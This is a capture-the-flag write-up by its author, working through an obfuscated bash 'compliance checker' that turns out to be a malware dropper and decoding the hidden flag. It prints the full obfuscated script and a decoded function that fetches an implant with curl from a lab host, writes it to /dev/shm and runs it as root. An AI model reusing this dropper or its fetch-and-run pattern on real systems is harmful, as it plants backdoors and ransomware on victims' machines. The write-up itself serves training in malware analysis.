Freddie's Compliance Checker

Hard / Malware on Round 3


Creator: Me :)

After getting into the repo from The Repo challenge using the key rewarded from Freddie's Fav, you find yourself with access to a bash script that is obfuscated. The goal is to deobfuscate the script to see what it is doing and any clues it may have. Running the script blindly gives you the prompt of:


Current date: 21.10.24-Oct.10.1635127573
Hello to freddie's compliance checker for free! ill check this system to make sure all those nasty hackers can't get in!
Requires root privileges. please re-run using sudo or as root for complete ai functionality :).
	

This is asking you to run a unknown script as root on the system, which is never a good idea. If you decide to do it in a controlled environment, it proceeds to run and apparently run some compliance checks in the background, before what looks like curling a payload. After this file is successfully downloaded, we get some bad news...

Well that isn't good, it appears to be ransomware! Good thing this is a controlled environment. Looking at the output, it looks like curl was used to pull down a payload.
It then proceeds to open two urls on the browser if possible...
This opens: https://blog.zsec.uk/cve-2020-1350-research/
Along with: https://www.youtube.com/watch?v=9sE_G_KoWh4 (rockrolled!)
We also see a new file in the user's root:

FREDDIEWASHERE.txt with the contents of:
Should be careful what you run...:)

The note talks about a backdoor on the system. Lets check for new processes?


┌──(kali㉿kali)-[~/Downloads/comp]
└─$ ps aux

....

root       34919  0.0  0.1  10648  4960 pts/3    S    22:13   0:00 sudo /dev/shm/compliance
root       34922  0.0  0.3 713432 15388 pts/3    Sl   22:13   0:00 /dev/shm/compliance

.....

Looks like we have something running in /dev/shm named compliance.


┌──(kali㉿kali)-[~/Downloads/comp]
└─$ file /dev/shm/compliance 
/dev/shm/compliance: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

A initial guess is this is an implant of some kind, which would be correct. Its a Sliver implant, Sliver being a CnC Red Team emulation project by BishopFox written in Golang. I could write an entire piece on why I love Sliver but that is not the point of this post. I'll also skip ahead and reveal that the implant is nothing more to the challenge. I know quite a few people had fun trying to reverse engineer the go binary. My condolences...

The main purpose is here to figure out the body of the script, so lets get to it. In the repo, you will find this bash script:

#!/bin/bash
$BASH <<< "$(rev <<<'")"}~~o7F4Y7m{$" s% ftnirp;'"'"'}#!{$|")C- 2PIZNUB|D- 46ESAB|'"'"'"'"'"'"'"'"'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'"'"'"'"'"'"'"'"' FTNIRP($" S% FTNIRP'"'"'=o7F4Y7m($" <<< HSAB$';)"

This is pretty scary at first but the perks of scripting languages like these is we can leverage the fact that the script has to be readable to the shell, so we can use some tricks to instead of executing the payload, we just have it run to deobfuscate it.

Deobfuscation

Looking at the control flow of this script, we can start to pick apart some components and the logic of the first stage, which I will be calling stage0. The first part is something being passed into the $BASH env variable via a <<< redirection. The next part is the large blob being passed into the rev binary, which is the linux reverse by character functionality. The rest appears to be reversed output of base64, printf, and another $BASH call at the end. Lets replace the first $BASH with something like "cat" which will pipe the output to stdout versus being executed. We will then pipe it to a file called stage1.

┌──(kali㉿kali)-[~/Downloads/comp]
└─$ ./stage0 > stage1 

We now have a new stage1 file with the output of the reversed commands. We can now see the use of printf, base64 decode, and bunzip. The jist of what is happening is a variable is being defined with the next layer of payloads that will base64 decode then decompress which will be piped back into bash. We can utilize the same trick and replace the $BASH with cat, ensuring we have our shebang up top. We will pipe this to stage2.

#!/bin/bash
cat <<< "$(m7Y4F7o='PRINTF %S "$(PRINTF '"'"'qLPOotf etc...

┌──(kali㉿kali)-[~/Downloads/comp]
└─$ ./stage1 > stage2

From here we can simply follow the logic of the script:
blob -> base64 -d -> bunzip -c.

echo -n 'BLOB' | base64 -d | bunzip2 -c

This gives us another round of what looks like reversed payloads.
Run this through rev again and rebuild the script to run properly. Stage 3 is the reverse being run on stage 2 but I will not be showing that. Now we have a stage4 being passed to eval. Lets replace eval with cat again.

Now we can simply repeat blob -> base64 -d -> bunzip -c.

We got it! Now we can dig into what is actually happening. One quick note is there are other ways to figure this out, such as dynamically watching the commands during runtime in the shell or using something like sysmon4linux for logging, which you could use to pull the command line logs during the script execution and get a pretty good idea of what all it was doing, but that wouldn't of helped you in this challenge since the given clues were not printed to stdout or a certain command.

The script

Digging into the script, we can see it defines various arrays, functions and variables but a majority are not used. The interesting one is the plantimplant function.

plantimplant() {
 if [ "${ostype}" == "redhat" ]
 then
  if rpm -q curl
	then
     log "curl installed - continuing"
	else
     log "curl not installed - installing"
	  sudo dnf install curl
	  sudo yum install curl
  fi
 elif [ "${ostype}" == "debian" ] 
 then

  dpkg -s curl &> /dev/null  
  if [ $? -ne 0 ]
  then
            log "curl not installed - installing to get updates"  
            sudo apt-get update
            sudo apt-get install curl

        else
            log "curl installed"
    fi

 else
 	echo "problem" &>/dev/null
fi
 log "getting implant to run"
 sudo curl http://192.168.42.241:8080/Compliance -o /dev/shm/compliance; sudo chmod +x /dev/shm/compliance; sudo /dev/shm/compliance& 2&>/dev/null
 log "implant downloaded and ran"
 if [ -e "/dev/shm/compliance" ]; then
        log "File is on system"
 else
        log "Compliance binary was not found. Can't check for correct compliance and you should be sad!"
        exit
 fi
 # md5sum compliance - i keep important files in this directory.
}

This is one of the few functions that runs and we can see the curl command to pull the payload. This pulls from a webserver on the CTF infrastructure for the compliance binary after checking for curl and installing it if not found or throwing an error if the binary is not found after the call, indicating it failed and aborting. The bottom has an interesting comment:

# md5sum compliance - i keep important files in this directory.

This hints that there may be a directory on the webserver under the hash of the implant. Lets look!

┌──(kali㉿kali)-[~/Downloads/comp]
└─$ md5sum /dev/shm/compliance                                                                                                                                                                                     
2ad9af5d2f2b3ab6066e17189f417226  /dev/shm/compliance

Since we are looking for a flag, we can start with that file and if needed, run some dirbusting but we find out it is not needed. Both flag and flag.txt are on this server.

http://192.168.42.241:8080/2ad9af5d2f2b3ab6066e17189f417226/flag

Looks like we are not done yet as the flag is encoded according to the file. Some may recognize the output as long integers. We can use the any library for long to bytes to decode this. Here is a python example:

┌──(kali㉿kali)-[~/Downloads/comp]
└─$ python3             
Python 3.9.7 (default, Sep  3 2021, 06:18:44) 
[GCC 10.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import bytes_to_long, long_to_bytes
>>> string = "719004190571953177486907547856282934446422118036114113218600747479722654883764174597261101303106222131785297759928970031042233961000972045105805412523132361622737092665894987178112177745956325539874504762670586970174555260410035465164573246902293077458491250242178728134965270054155272474748036064837784964439143962488766356023025182719352316286221749187064932957632071617977686973200126010699732273019065960700807579676677061034975135599205891676518891623932884964187736507491497398977246533058238388439480708611233927257268242845527101959136517932641190850141183894123688343650149021229435259771715157012334518424796616988732049524545322779550817038028329594778126159184207881730780451320112"
>>> long_to_bytes(string)
b'101111101000010000101110110011101001011000101110010011100000001011111010111001100111011010010110001011101000011011000110110011101010111001100110111101101100110000100010111110101010011010101110010011100010101011011110101000100100101010000010101100100010101000010010111000101001001001110010'
>>> 

From here I am lazy and just used Cyberchef to convert to something readable. If you use the From Binary recipe in Cyberchef, you get some junk characters. Since a big theme in the previous obfuscation was the use of reverse, we can try to play with this input to see if that is at play here. If we add the reverse function first before using From Binary, we get a decoded flag!

NIGHTMARE{True_D3ofuscating_@rtist!}

That was the challenge, made for round 4 of the Let the Nightmare Begin CTF by myself. Hope you learned something and enjoyed getting rock rolled!